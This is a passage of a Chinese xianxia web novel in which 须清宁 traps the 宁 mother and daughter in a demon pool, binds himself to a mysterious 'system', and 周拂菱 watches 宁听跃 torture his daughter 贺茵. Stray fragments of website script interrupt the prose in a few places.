“行,不去也可以,便用拔山咒。”宁朝雪道,“月兮姑娘,你方才那般殷切,我还当你愿意为了众人牺牲呢……现在看来,不过如此。” 她本意离间,不想,一旁的苗修士大骂:“宁朝雪!你欺人太甚,你当我们是傻瓜?你自己搞破坏,月兮来想法子,你还向月兮泼脏水?!” 宁朝雪当即皱起眉头,气得脸颊发红,冷哼一声,便想挥袖毁掉下方的水地阵法。 花月兮最终咬唇道:“罢了,我去。” 众人当即愤怒。 宁朝雪却得意一笑,拒绝他人跟随,带着花月兮走了。 剩下的人生着气,大多也都是凡族人,嘀嘀咕咕说宁朝雪怎么这样,却忽听“轰隆”一声—— 一阵怪风,忽然轰向那凡族弟子们,那苗姓修者听见这怪风的力量,只觉威力超乎寻常,为众人一挡,便道: “你们先走!我断后。” 然而,她在万云林断后,却被那怪风逼着,越走越阴森。 那可监察试炼之景的阵法陡然消失。 数人,突然冲了过来。 苗姓修士仓惶一声喊,便被制住手脚,一人拉起她的头皮,便要往那冒泡的毒溪流中按。 一道冰冷的声音:“让她再也起不来。” …… “花月兮,过来,你怎么不敢过来呢?” 已是山洞,阴暗闭塞。 花月兮也被宁朝雪带得越走越深,她像是有些不安,左右环顾,四周都没了可以监察的阵法。 花月兮:“朝雪仙子,我们还是回去吧?” 宁朝雪回首,红衣如火,却对她淡淡笑道:“回去什么?不是要治虫卵之毒么?” 花月兮点了点头,蹲下来,作势要放出灵兽,却突然一跳,转身就逃。 她脚下生风,想来是意识到了什么。 宁朝雪冷笑一声,便追上去。 而她捏诀,这洪水起伏,转瞬断去了花月兮的 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虽然总是因为恨铁不成钢,责打她和母亲。 但在宁朝雪看来,这是爱的表现。父亲也很爱她。 他顶天立地,不可超越。 若说先前宁朝雪没把花月兮放心上,这会儿是真的带了怒气。行事可谓狠辣不留情。 她散出灵力,丹火强盛,其焰硝硝,燃上长剑,她出手便想割去花月兮的舌头。 二人品阶差距大,花月兮一声惊呼倒地,宁朝雪抢攻,却忽听地底一道轰隆作响,竟是那上方地石轰然坍塌。 数道剑阵聚起,大概是过于轻敌,也或许那阵法过于缜密,伴随一道苍雷之声,宁朝雪二品的灵力,竟猛地被击散。 她大叫一声,落入池水。 而也是这时,宁朝雪全身像是被毒水烫了一般,凄吼一声,瞪大眼睛,才发现这里多么可怕。 那洞中的池水幽暗,伴随雷光和火光,四只铜制妖首才隐约可见。 妖首之口,飞出四只腰如杠瓮的化蛇,化蛇吞噬着她放出的毒,在仙法的控制中摇摆首尾,皮肉下滚出血—— 这竟是妖血池。 化蛇的毒血,是会腐蚀人的体肤的! 宁朝雪想要出来,化蛇却猛地咬住她的四肢! 一道缜密的仙术阵法,也陡然控住她!威压阵阵,宁朝雪竟无法对抗。 腐臭的血水滚入了她的鼻腔,腐蚀她的眼,她惨叫起来,想拿剑。 然而,她的手脚都被化蛇缠住。 砰—— 宁朝雪的剑落到了一旁。 她挣扎着抬头,眼前的一幕,险些让宁朝雪崩溃! “清宁哥哥,你为何在这里?!” 只见方才去治妖的须清宁,不知为何,独自出现。 他冷淡垂眸,负手站在花月兮身旁。 二人神色,竟像是对此景毫不意外!“ 宁朝雪猛地反应过来:“清宁哥哥,你算计我?!” 18.逃离 须清宁则垂眸凝视她,想起不久前的事。 …… 一夜前。 花月兮前来仙府,看望兄长,出来后,再见须清宁。 “少掌门……您要我,帮您引宁朝雪入陷阱?”花月兮吃惊地睁眸,“她真的会跟上么?” “今日之事未了,你以为,宁家对你花家兄妹,就不会动手了么?”须清宁淡声说。 “这怎确定得了是宁家动手?!”花月兮还想装傻。 但须清宁送了一个“别装了”的神色,也让花月兮知道,自己没有装的必要了。 邹家的暗卫惨死。邹兰辞来后,话里话外都暗示,出手之人并非邹家。须清宁也去查了当时送给邹离的密报,得了线索。 最重要的,那日真火急火燎来的,可不就是宁朝雪?这局势已然一目了然。 花月兮行礼:“是,是宁家。的确如此,我和兄长由少掌门庇护在仙府,他们心急,当也只能在下试之时动手。” “对少掌门所请之事,月兮一定万死不辞。” 须清宁道:“所以,告诉我,关于你家族的仇怨,你查到了什么?可是不再信任况允初,才设计通过周拂菱认识我?” “以及,你在康荒斋发现了关于宁听跃杀妻的什么线索?” “……”花月兮猛地抬头。 须清宁正目光清冽地看她。 …… 花月兮回首望着须清宁。 那日,须清宁抽丝剥茧,已大概听她说了康荒斋所发现之事。 花月兮虽然惊异于须清宁知道不少,交代了许多,但未说全貌,如贺茵的身份。 那时,须清宁望向窗外的贺茵,半晌未言。 “你们去做你们的事,我不会阻拦。”须清宁说,“贺茵,我也会派人盯着。” “多谢少掌门!”花月兮道。 而在这万云林的洞窟中,花月兮见事已做成,便和须清宁告别。 “清宁哥哥,你这是做什么?!”宁朝雪凄厉地喊着,她泡在毒水里,浑身发痛。 但偏偏,须清宁的剑阵压着她,不让她出来。 她好难受,她好痛苦。 须清宁,你为何如此负我! “等你娘来。”须清宁淡声道,“她不是也来了么?” “是为了神魂刺?是为了神魂刺么?!”宁朝雪说,“清宁哥哥,你怎么不明白,朝雪对你的心呢?!” “想让我明白你的心?”须清宁说,”那你先往自己脸上捅四剑吧。” 宁朝雪听到此言,目瞪口呆,当年……当年,关他的、背叛他的是她父母,又不是她……她后来也的确是不忿须清宁不爱自己,刺了他的脸几剑,划伤了一点点他的眼睛,但那不……那不也是因为,她被他气急了么? “明明求我,就能给你更好的日子,你却不领情,我着急,一着急就做了那些事!”宁朝雪流泪道,“你怎么就不能理解理解我?!” “……”须清宁冷冷注视宁朝雪,一个剑阵,却忽如锅盖一样,猛地砸翻了宁朝雪的脸。 她昏过去了,手脚都被妖血池里的化蛇尾缠住,挣扎中,咕噜咕噜,咕噜咕噜……妖水灌入腹中。 宁朝雪如小鱼儿一样吞着泡泡,怎么都爬不起来,她绝望地昏迷了过去。 …… 宁承寒过来之际,脸色也大变,看见坐在池边的须清宁,警惕地停步,保持了距离。 这次万山宴,仙门规定一品不论道护生。宁承寒是从一品,便也在护生之列,因此可以来此处。 须清宁冷冷看她一眼。 这位宁承寒,竟是亲自出手来害人了。 而他了解她,这位出身高贵的长老,因为嫁给了宁听跃,如今又执掌云宁宗,她习惯当特权之人,曾在不少比试中作弊下黑手,甚至做出亲自下场的污糟事。 须清宁和伯父曾经对此看不惯,还设法惩戒过她,但如今须家因天绝涧灭门之役势弱,须清宁知道提出无用,便也不提。 这会儿,他半跪在池边,宁承寒见他脸色一变,再看水中昏迷的宁朝雪,不由大惊,寒声道:“这是怎么了?” “化蛇之灾。”须清宁抿唇。 他的神情多了几分隐忍的怒气和惶恐,像是骤然遇见这事,有些茫然,想甩手不管,但碍于某种威势,不得不留下。 他垂眸:“是我不好,未管束住朝雪,宁姨。” “朝雪方才追着一位凡族弟子杀,是我认识的,我本想调停,不想,朝雪激起了化蛇池中的妖灵,被化蛇缠入其中。” 须清宁是世家弟子,各大世家联姻众多,须家和宁家也有很远的亲缘,为着面子,他喊宁承寒一声“姨”。 “其他人呢?!” “在东边的洞窟除了另一只化蛇,为寻宝夺魁,已离开。是朝雪逼我来这里的。”须清宁别开脸,一边说,一边紧抿嘴唇道,“既然宁姨在这里,清宁便出去,寻他人帮忙,一定要救出朝雪。” “慢着。”宁承寒狐疑地喊住须清宁。 宁承寒只认为其中有诈。 宁朝雪这么惨地倒在妖池里,须清宁若是留下,她不由生疑要做什么;须清宁要走,她更不愿意了。 只见须清宁站住,一脸隐忍,不作声,这朝雪落在池中,真和他无关? 而再见须清宁脸色苍白,像是因什么负伤,莫非是刚才打斗时负伤的? 她再往那妖血池看去,四面都有蛇头,缠住宁朝雪的手脚,张开血盆大口,正在吸宁朝雪的血,让她这位做母亲的怎么不心疼? 宁承寒冷冷地瞪着须清宁,也突然想到一个破解之法: 妖喜爱高等修士的血,她便换一个人下去,先把宁朝雪救出来再说! 到底发生什么,到时候再弄清楚,还不是一样! 想毕,宁承寒突然抬手攻向须清宁,须清宁震惊地睁眸,像是难以置信,声音中含着怒气:“宁姨!” 宁承寒一掌打在须清宁肩膀上。 他闷哼一声,抬剑躲避,却像是灵脉凝滞,吐出一口血。 再见他灵气紊乱,宁承寒更是确定他有受伤之象,因此毫不留情,拿出她的法器——一把金刀。 她生怕须清宁逃脱,便以真身闪至捏诀的须清宁,一把捏碎他的遁地诀,把赶至妖池中心。 “须清宁,别以为我不知道,你心里想的是什么?还不下去换我的朝雪上来!”宁承寒说。 须清宁本来眼神有点倔强,落到池心时,却突然冷笑一声:“宁姨,多谢,你亲自踏入我设下的阵心!” 雷声如鼙鼓,风雨骤至。 宁承寒往下一看,脸上倏然爬上铁青。 只见那四只铜制妖首上,散出青光,竟是严丝合缝一道严丝合缝的阵法,若网若笼,有条而不紊,带着雷光朝她攻来。 这阵法方才被妖物遮掩,极为巨大,像是早就在准备,其力巨大。 宁承寒没能看清,又因为她轻敌使坏,大叫一声,直愣愣地落入了阵法中央。 再看须清宁,冷漠地站在岸边,哪有受伤之象? “轰”地一声,宁承寒的手脚代替宁朝雪被妖兽咬住,她惨呼出声,宁朝雪被甩出来。 后者不省人事。 须清宁过去,以缚灵绳锁住了宁朝雪,还喂了迷神药,宁朝雪更无醒来的迹象了。 宁承寒怒喊女儿名字,想要出来,却因法阵重伤,如陷泥潭。 她心脏在疯狂地颤抖。 “须清宁,你要造反吗?!”宁承寒道,“我是云宁宗宗主夫人!你想引起东洲和南洲的内战么!” 须清宁却缓缓蹲下来,对她的话恍若未闻,只道:“如何解开‘神魂刺’?” 宁承寒却哈哈冷笑一声:“我若是不解开,你能怎么样呢?清宁,你就想和我一起耗在这里么?” 须清宁:“我不怕被耗。” 妖兽猛地咬住宁承 () { $(''.inform'').remove(); $(''#content'').append('' 寒,像是要吃她的肉,一阵剧痛,让养尊处优的宁承寒脸色都白了。 她又癫狂道: “你不怕我们伤害周拂菱么?” “你知道么?等你出去,周拂菱已落在听跃手里!我劝你,为了她少吃苦,把我立刻放出来!” 须清宁没回话,不过眼中多了分冰冷的杀气。 宁承寒望着须清宁,咬牙,倏然想起了他小时候。 须清宁一向如此,冰冷疏离,行事果决,宁为玉碎,不为瓦全,也从不受人威胁。 听说,他曾因被须家那位设计,落入天绝涧,受困子时阵大妖之手足足六百日,却平安逃出。 那事,让宁承寒当时便对他改了判断——她本以为须清宁这种过刚易折的性子遇事活不了多久,但那时,她突然觉得须清宁或许能活很久。 而她也知道些子时阵的内情,曾试探着问百年前的须清宁:“那么多修士都死于子时涧……你是怎么活下来的?” 须清宁却一直没说出在那子时涧的六百日发生了什么。 该死。后来须清宁多次被人整得失利,让她把这件事忘了。宁承寒恨得牙痒痒。她不该轻敌的。 须清宁蹲在池边,凤眸渗出幽冷之意,映着那鲜红血池中的化蛇巨兽,缓缓道:“宁朝雪还让承寒长老对苗家人动手是吧?但很可惜,我早就请来了苗家人,以及与他们通婚的乔家人。” “乔家出身屠夫,擅长酷刑,同时也不喜思虑深远,只喜快意恩仇。那苗家修士,已被他们救了,但你的人,也被他们审出了要做什么。” “宁姨,他们大概在外面找你。不如我这就把他们请来,帮我问吧?” 宁承寒瞳孔一缩:“等等,等等!” 面对须清宁如浸寒霜的眼,宁承寒别来:“我说便是。” 须清宁:“是。你说出后,我们便不会两败俱伤。” 宁承寒却牙齿咯咯打颤,她一边心中发恨,一边想,那周拂菱被丈夫抓住了么? 她庆幸自己有个好丈夫。 抓住后,她一定要让丈夫狠狠地把她今日所受之苦,尽数还到周拂菱身上。 她要看须清宁悔不当初的眼神,她要看须清宁跪地求饶,满心痛苦。 …… 马车之上,可闻青松之声,周拂菱跟着苗山主的马车前行,却悄悄把手伸入袖中,握住了一把符纸。 须清宁与她的引敌符,可以悄然引起某个方向的动静,是用来引敌离开的。 适时,苗山主离开,似在与旁的弟子去勘探地形,身旁只有两位三品修士留守。 周拂菱把符咒用了。 两位弟子果然大惊,都掀开帘子查看,回首,却见周拂菱所在之处,空无一人,只余一侧的幕帘和结界破开,不由脸色剧变。 苗山主适时回来,二位弟子立时请罪,不由大骂:“周拂菱呢?周拂菱怎么不见了?” 她左右看去,两位弟子也是又着急又茫然,苗山主手指触上幕帘,正是清冽的灵息粉末,却突然“呸”了声: “她糊涂啊!竟用了须少掌的遁身符离开了!那可是用来逃命的!用在我们这里,她真是头脑不清!” “那周姑娘现下……” “她一定是去找须少掌门了。”苗仙师皱眉,狠狠摇头,手都在颤抖,“这孩子,也太不识趣了,这不是去拖累人么?!” 她脸色惨白,将此讯立刻传给须清宁,随即调头,试图寻到周拂菱。 而周拂菱,此刻却站在山巅,脚踩崖边黄沙,神容冷漠,凝视掌中血珠。 贺茵的血珠。 饵已出。 她想找的人会找到。 须清宁的神魂刺也将会解决。 不知道介时,须清宁会如何看待她呢?还会在那里拿腔拿调地拿乔么? 周拂菱皱了下鼻子,像是想起了不快之事。 她不知道的是,她要帮须清宁解决的事,须清宁已然自己解决了。 19.板栗 须清宁立在妖池之旁,正细细听宁承寒说出解神魂刺之法。 按照宁承寒所言,须清宁捏诀,登时灵台清明,那神魂刺也松动不少,竟是缓缓释去了。 他暗松一口气,只需要回去食用一些灵药便可全然除却。 心头恍若一块大石放下,但旋即,又有新的担忧浮起。 解开了,又如何呢? 不过,须清宁的确从未与人结侣的想法,心道也不如何,只不过心里多了分他自己也不明白的晦暗和纠结。 他沉默不语,竟盯着那放平安符的芥子符,走了下神。 宁承寒道:“清宁,这下可以把我和朝雪放出来了吧?” “不。”须清宁却说。 “须清宁,你不要欺人太甚!”宁承寒道,“介时试炼结束,我的人也会寻到这里,那就耗着吧!” 不想,须清宁的剑,横在了她的脖颈前。 “立销魂之誓,宁氏一族不可伤周拂菱一根汗毛,若伤,你宁承寒必引天雷自绝!” 销魂之誓,是一位修士的重誓,若是违誓,当会断骨销魂,魂飞魄散,是极可怖的绝罚之誓。 宁承寒先前还可忍,这会儿猛地瞪眸,眼如铜铃大:“须清宁,你做梦!这等重誓,我怎可能为一个黄毛丫头发?!好啊,你杀了我,介时仙台捉了你,正好给了邹兰辞吞你天霁门的机会! 须清宁抿唇,面色寒冷,只因宁承寒说得在理。 二人僵持,就比谁更豁得出去。 宁承寒正要笑,须清宁说:“宁姨,那我便代苗家人,行刑了。” 宁承寒脸色大惊:“须清宁,你是又想进天山牢狱么?你进去了,周拂菱还能讨得了好?!” 须清宁手中剑微顿。 然而,正在他犹疑之际,一阵凛凛烈火,倏然自洞外扑入,卷向洞中之人。 此焰硝硝,竟呈灼魂食魄之态,那是一重门问天道之巅才有的重刑神火。 须清宁变色,这火焰竟又向下钻,猛地将宁承寒和妖池吞噬,她凄厉惨呼,岸边的宁朝雪也醒来,凄喊一声,被冲得昏迷。 而一人影飘过,竟是猛地打向须清宁一掌! 其身如影,功法鬼魅,所带威压,须清宁惊觉不敌,猛然后退。 他震惊抬眸,来者如雾,而他已是从一品。 此人只能是一品以上,大概率是高境,才能如此碾压! 须清宁咬牙回击,那人影又轻呵一声,似是不想停留,身影消失。 也大概是因为受击,他奇经八脉一阵疼痛,竟像是那人出掌之际,把穿灵针插入他的神识。 猛地逼出针,旭旭神火,腾空直冲,如造蒸笼,火云燎洞,似也猛地要吞了他—— [宿主,是否要接受乾级世界“成圣”的攻略任务?!] [若绑定确认成为宿主,救世灵玉将开启保护模式。] 光灵再次出现,在须清宁的识海叫嚣:[选啊!宿主!不然你活不了,只有这么一次保护机会!] 火舌已舔上须清宁的手指。 须清宁咬牙。 他来不及判断刚才袭击的人是谁。 但可以判断出,如不答应,他的确不是死,就是仙骨再次被毁。 ……适时,天霁门腹背受敌。 ……还有周拂菱。 以及其他弟子的处境。 但真的要绑定这所谓的救世灵玉么? 指骨剧痛,火舌倏然舔上了须清宁腰上的护符,要吞掉那青绿如生的菱角。 须清宁闭眼。 “确认绑定。”他说。 …… 火焰几乎要吞噬须清宁的瞬间,一道光芒自他识海和灵脉射出,竟是挡住了那火焰。 饶是如此,须清宁只觉奇经八脉都仿若遭受重创,竟瞬息之间,痛得无法动弹。 再次抬眸,须清宁的手背青筋暴起,修长指骨紧抠山石。 方才的伤尚在疼痛,抬首,火海已灭,满地废砾,出手之人已消失不见。 宁朝雪、宁承寒一人埋在废砾里,一人昏在血池中,前者还好,后者浑身烧伤。 这火到底如何来的? 还有那攻击他的灵钉?何人出手? 须清宁一时恍惚,却见滚烫的砂石之中,躺着一根湛湛长钉,正是破灵钉。 “……魔修?不,不像。”须清宁拾起针,散出神念,辨别灵息。 远方,却忽悠人声传来,像是有人被动静引来。 “须清宁,须清宁可在里面?!”邹家少主邹离的声音传来,来者显然不善。 [快走啊宿主,快走啊!]系统也道,[宁朝雪和宁承寒重伤至此,你若留在这里,毫发无损,说不清的!邹离也是冲你来的!] 须清宁缓缓抬眼,虽然不知系统是否可信,但他自己判断形势,也正如系统所说,他必须走。 于是,须清宁忍着疼痛,来至宁家母女身边,召出一瓶金蝉蛊毒。 这是须清宁从西洲得的,定期不食用解药会痛死的毒。他将其喂给了二人。 这可使二人受制,哪怕醒来,也不可轻易指认他。 同时,也可制衡云宁宗对他身边人出手。 不知周拂菱……是否平安到了毓苗山。 须清宁垂眸,也不敢多想,朝往外逃。 声音从洞外传来,越来越近,须清宁捏诀跳入了妖池。 此处阵法为他所设,火焰也烧死了化蛇,须清宁别无他顾。 但遁水之际,妖池的妖息侵向他,饶是有护界,须清宁的灵脉依旧就能感受到几分火燎般的疼痛。 须清宁皱眉,无瑕顾及,不过少息,他遁出了洞窟。 出来时,青山寒风,正是万云林的边缘,也无幻珠。 须清宁召出玉牒,他正想唤来本门的仙官接应,系统却再次发话了: [宿主,今次保护,我已用完能量。之后,你没有被保护的机会。若是失败,你将被抹杀……] 须清宁也恍然察觉,识海之上,仿若真的覆上了一层他无法勘破的灵力,其杀气横浮,无法摆脱。 他不由紧抿嘴唇。无论这系统是否正义,是否说的都是真话,须清宁都不喜欢这种感受。 他正要皱眉想套出些讯息,系统又道: [以及,你现下有发现反派真实身份的机会。我建议,你独行,勿要喊上其他仙官。这会让他们陷入危险。] 须清宁猛地抬眸:“什么,反派在这里?方才出手之人是反派么?” 如果是,这反派的力量……须清宁心一沉。 竟比他强么。那可是此界巅峰的力量了。仙门拥有这般力量的人,须清宁两只手数得出来。 到底是什么人? [方才出手之人,正是与反派一派的魔修。] 系统低声道,[但我来这个世界线时,因反派隔空出手,对我上了禁制,我无法说出他们的所有信息。] 须清宁:[所以,反派到底是谁?你一直不说,是因为这也说不了么?] 须清宁早就发现不对劲了。 每次他问起反派,系统都避而不答其真实身份,像是有什么难言之隐。 而想到系统对反派的态度,须清宁也十分不满。 一个将灭世的人。 一个可以放出天绝涧妖物的恶人。 竟是需要救赎?? 须清宁无法理解,也永远不打算理解。他不可能接受恶有善报,更是痛恨每一个和天绝涧有关的恶人。 他已经打定主意,若是可能,见到反派,就拼尽全力杀了反派。 若无法直接杀掉,也要想办法与之同归于尽。 只是没想到,四下倏然沉默了,竟是系统不作声。 …… 在这一片寂静中,系统也正凝视着须清宁。 只见须清宁抬首,站在万云林的树荫下,鸦羽般的长发迎风,凤眸清冽如冰湖,五官可谓端丽冠绝。 他身材挺拔,宽大修长的手指握着“长明”,紧致细长的腿上裹着雪白的靴,踏着覆霜的石,发出清冷的响。 脸上虽映着阳光,但浑身都写着疏冷难得,如世间完美的琼玉。 而他手腕和耳后虽有旧伤,却不影响容貌丝毫,反而让他多了分沉着。 也是这样……不知迷倒了多少女修,被称为“东洲琼玉”。 ……这也是他后来能成为“那位”情夫的原因吧? 虽然传闻中是被迫的,也因此受了不少苦,但到底对那位是特殊的。 而系统对上须清宁寒峭的眼,大概知道他在怀疑什么,心中也闪过几丝复杂。 不能说! 真不能直接说。 这是救世灵玉血的教训。 曾经的它,在上一个时间 () { $(''.inform'').remove(); $(''#content'').append('' 线,告诉须清宁反派的名字后,先前构建的微薄信任瞬间烟消云散。 须清宁把它当成妖物,剿杀无果,便同归于尽。 它想改变的世界线,一点都没动! 系统简直心里发恨,如此聪明、自诩道义的人,怎么一遇到那位“反派”的事,就不清醒了? 想一想,那位后来把须清宁逼为情夫,想来二人的关系是有一些特殊感情在的。 若不是有这层关系在,它才不稀得找须清宁这个看见“反派”就昏头昏脑的人帮改世界线! “你若还隐藏信息,我们便无法合作。”须清宁皱眉,狐疑地看着系统。 “……”救世灵玉也暗暗生气,不是它不说。是没法说。 是这会儿它若主动说了周拂菱的身份,按照它对须清宁的了解,事情必定要遭。 “这位反派的身份,说来复杂。而我来之前,她的神念,的确对我下了禁制,关于她和她阵营的部分信息,我直接无法道出。” 系统缓缓道,“但我知道一些线索……可以带宿主你发现那是谁。宿主聪慧,今日或许能自己挖掘出真相。” “……”须清宁只觉得这所谓的救世之物很坑。 “既有线索,便说。”他耐着性子道。 “我观天道,此位面之新灾星,将在北部十里的青秀山出现。按照我的记忆,她今日也的确会在青秀山大开杀戒。”系统头头是道,“走,宿主去看看。但你别直接撞上她,慢慢来,她很危险,我们寻一些线索,冷静下来,再思考下一步怎么走最好。” “宿主,切记,要冷静。留得青山在,不怕没柴烧!” 须清宁蹙眉颦锁,实在不明白这个救世之物,为何如此说教。 他一向行事冷静,也见过许多大风大浪,不觉得会有什么能让他失去理智。 他不喜系统这样提醒,但也没说什么。 而青秀山……须清宁回忆,在中洲龙潭的北面,如果他没有记错……那里接着通天道。 正是凡域和仙域相接的地方。 ……周拂菱。 须清宁心中倏然涌起不安和担忧。 周拂菱如果要去苗毓山,可能要去那个方向。 他手背猛地暴起青筋,垂眸掩下了这些情绪,捏了道隐身诀,御剑便向北急走。 望着须清宁陡然急行的背影,系统也默默叹口气。 今日,便会发生那震动仙界、改变整个世界走向的大事件了。 须清宁,也将看清他最喜爱、最信任的小师妹了。 清宁啊清宁,你为何如此单纯! 可恨残忍的拂菱,你又为何如此狠心,诓骗如此单纯善良的清宁宝宝! 虽然痛恨周拂菱——因为系统曾经被她骗得,也杀得很惨,但不影响灵玉有点嗑他们俩。 但想想周拂菱成长到后期的可怕手段和对他们毫无道德的作风,系统打了个寒战,再也不想了。 …… 青秀山。 系统心疼清宁宝宝之际,拂菱宝宝正坐在崖边树上。 溪深古雪埋,云断寒鸦徊。 青崖之上,周拂菱的青色裙摆似和藤蔓融为一体,她的膝盖上,正放着一包炒栗子。 她伸出纤细的手,拨开栗子,她的裙摆下,却突然伸出—— 一条腕足! 乍看像是蛇尾,粗如缸瓮,但又不太一样,同时有着龙、鱼、蛇的组织,竟散发森森鬼气,一边鳞光湛湛,是坚硬的硬甲,另一边,滑腻的蛇皮上,长着一些吸盘,正滴着浓稠黏液,不少胆小的修士见着,只怕会当场作呕! 却不止一条腕足,还有其他腕足都伸出来,托着周拂菱。 她也没去找须清宁,所以她也不知道须清宁解决了“神魂刺”的事。 她在这里看戏,顺便等时机合适,帮须清宁解决神魂刺的事。 而周拂菱素手一勾,一道雾气,回到了她的手里,远方的山谷,也布满雾气,遮住了她的身形。 只见下方山谷,贺茵已被锁上缚灵索,一巴掌,她被扇到了地上,嘴角淌血。 她眼前的男人,一身鹤氅,光风霁月,正是那云宁宗主宁听跃。 贺茵被人提到了宁听跃面前。 宁听跃道:“你们都出去吧,我有话要单独问她。” “是。” 周拂菱吃了一个板栗,认真听着。 20.恐惧 贺茵抬眸,却恨恨看着宁听岳。 周拂菱剥着手中的板栗,见那眼神,手一哆嗦,板栗差点落下去,她忙让腕足帮她接住。 嘎嘣嘎嘣,腕足的吸盘吞了板栗,吃得嘎嘎香。 宁听岳低头,叹了口气:“你竟然还活着,茵儿。” “爹爹想你了。” …… 贺茵好恨,贺茵真的好恨! 在来的路上,她全身骨头仿若都被打断了一般,剧痛撕裂心扉,差一点,再差一点,她就能揭露眼前人的真面目! 贺茵气得要吐血。 而实际上,贺茵的真名,为宁茵。 她的真实身份,是宁听跃和康荒村村女宋兰柔之女。 贺茵在很小的时候,便知道父亲是惊才绝艳的修仙之人,可谓万里挑一,众人为他是瞻。 贺茵的爷爷奶奶也都是村中的人,娘是十里八乡最温柔、最厉害的绣娘。 但那会儿,贺茵很少看见爹,娘总是在夜里哭,贺茵问为什么,娘说没什么,说爹爹去仙门修行了,不知如何,等回来了就好。 但贺茵知道,娘因为丧母丧父,总是被奶奶指着鼻子骂。 奶奶一天到晚逼娘做绣活,卖的钱奶奶全拿走,还说她们俩拖累了爹。 有一天,娘却死了。 隔壁有点势利,但最疼爱她、爱庇护她的贺媒婆也死了。 还有爷爷奶奶、叔叔婶婶,也全部被烧死。 贺茵在那天,喝了假死药躲在废墟下,看到了一个很漂亮的仙子,出现在了康荒村中,她一脚踩住了奄奄一息的娘的手。 “你拖累听跃了。”她拿起钢梳,剐了娘的脸,还观察父亲的脸色。 父亲冷淡地望着远方的火,那烧死了他的父母,但他没有哀色,反而眼中一派冰冷。 最后看向地上的妻子,他温声道:“承寒,我来动手罢。” “你舍得?”那仙子眼带讥诮地看着爹。 “我恨这里的每一个人!”爹却淡淡说,“他们无不虐待我,试图将我折翼,将我困于井底!” “承寒,是你带我出来!今夜之后,我便忘了这里!” 贺茵听得惊呆了。她知道爷爷奶奶是曾叱骂爹,要爹时不时拿钱回来,但不是娘做绣功换钱给的么?娘的眼睛都要做瞎了。 娘何曾欺凌、虐待过爹呢? 不过是爹回来时,抱怨过自己几句苦,爹都置若罔闻。 那一日,贺茵亲眼看见了,康荒村每一人惨死,多年以后回来,这里化为了妖地,是怨灵的聚集之处,一切却都在正道的光辉中烟消云散。 而宁听跃,这个一跃入龙门、站到了顶端的人,今日因为她那耳上不知何时出现的伤口,抓到了她。 “这就是你的计划?”宁听跃冷淡地看着贺茵,手中捏了枚幻珠,“请花灵山的花家兄妹帮你去康荒斋寻找贺媒婆的鬼灵得到口供,那是我曾收买她诬陷你娘的证据,再观察何时出妖灾,引得你们少掌门帮你清洗痕迹。你隐身得真好啊。” “……”贺茵的牙都在颤抖,奈何全身是伤,动弹不得。 而眼前的宁听跃已经变了,不再是她幼时一身布衣,坐在窗边抄经书,听娘喊他帮拿一下扫帚便不耐烦的爹,而是一身鹤衣、霁月光风、气势凌人的掌门。 他负手而立,眼中散出讥诮:“万山宴,人多,打算和花月兮合映幻珠为一,在众目睽睽放出这证据,是么?” “但我告诉你,茵儿。”他低声说,“哪怕你今日不失误,我不找到你,你也不会成功的。” “人力量越小时,做得越多,失去得越多。” 贺茵却“呸”了声,几乎是在悲鸣:“宁听跃,你忘恩负义,薄幸无情!总有一日,你必遭天谴,死无全尸!” 啪!贺茵惨叫一声,她脸上突然被划出一道见骨深痕。 出手的自然是宁听跃,但他显然并不愤怒,不过居高临下地望着贺茵道:“我已经告诉你了,你的话毫无用处。” “看看,骂人的是你,愤怒的是你,最后受伤,无力摆脱困境的,也是你。” 贺茵痛得全身颤抖,双手也被缚,动弹不得。 她的确痛恨自己,痛恨自己没有弑父的力量。 她恨不得有人替自己弑父! 她永远为那人肝脑涂地。 但没用了,一切都没用了。 贺茵盯着宁听跃手上的神器——“引血罗”,牙都险些咬碎。 引血罗,可查人血脉,定人血踪。 但她知道宁听跃一直在借此查她。贺茵早有准备,封印了血脉。 但今日,却不知为何,她竟在万山宴时,意外受了伤! 贺茵流泪,不想,她的脸突然被云宁宗之人扳起来,宁听跃对她微笑: “对了,茵儿,我今日请你来。还有一事想问,你的好朋友,周拂菱在何处?” “先前我也试图在她身上下了定踪诀。但须清宁防得太厉害,我天上的定踪阵眼被他的凤凰毁去了。但我知,她正是朝着青秀山的方向去……她去了哪里?昆流山?莫卢山……还是毓苗山?” 贺茵浑身一颤,但突然咬紧牙关,一句不说。 她很快刑罚加身,但她一个字都没吐。 “……”周拂菱本在吃栗子,这时,突然没了胃口。 她皱起眉头。 ……为什么不说? ……贺茵没什么不说呢? 她和她之间又没什么真的利益关系。按照母亲教的,只有面对利益和死亡威胁,才能让人对他人的事守口如瓶。 贺茵傻呢? 周拂菱歪起头,瞳仁逐渐涌起了浑重的乌黑。 地面倏然震颤。 宁听跃似担心有异,来回张望,终是不打算浪费时间,按住了贺茵的肩膀:“勘神。” 勘神。 便是高阶修士直接进入低阶修士的识海,粗暴地寻找答案,剿杀其神识。 弊端呢,自然是使用者也要耗费一定灵力,宁听跃原本不打算亲自费神,但想了想,也不打算耽误了。 宁听跃为一品巅峰修为,修为甚至高须清宁三小境,对上也不怕。 贺茵不敌,垮下肩膀,神识被击破了。 “北……凡……苗山……” 她像是不受控制,说出了这几个字,便想咬舌,但是被宁听跃止住 () { $(''.inform'').remove(); $(''#content'').append('' 了,泪水不住流下。 宁听跃冷笑一声:“好,就往北,走北边的通天道追赶。不错。须清宁,也算是为周拂菱选了一个好去处。” 贺茵痛苦咬唇,下一瞬,似疼痛难支,她昏过去了。这也是勘神弊端之一,不可再多问。 宁听跃冷眼唤来二座驾,皆是四只朱雀所拉的巨车,金壁银绦,气岸遥凌。 贺茵被放上后一辆,宁听跃旋即上了另一辆,都往东方驶去。 仙座踏云,速度极快,宁听跃试图在路上拦住周拂菱,设计抓住她,也不知追不追得上。 他也不算很在意,只不过拦路更方便,她进了毓灵山,也不是毫无办法,散布一些须清宁的假消息出去,这没见过世面的单纯孤女自会关心则乱,落入陷阱之中。 宁听跃如是想着,不多时,宁听跃便见下方山谷云雾弥漫,他双目散出金光,正施展“天目寻踪”之法,看见一道光影穿梭雾中疾行,影影绰绰,似是苗家的马车。 宁听跃冷哼一声,便踏剑而去。 下方,雾气如同白练,山石如叠珠,竟是接近青秀山,地形便变得十分的古怪混乱。 宁听跃知道此处,不少四五品的修士都常在这里迷路。高阶修士常带弟子来此处修习定踪。 宁听跃再见前方,是一个大结界,他知道这结界,是吞妖结界,但和他现在做的事没关系,他也没多看。 远方再次传来马车之声,宁听跃踏剑而去。 一声龙吟,剑招狠辣急出,长风利啸之下,只听远方一声惨呼,似是什么被打中了。 宁听跃冷笑。 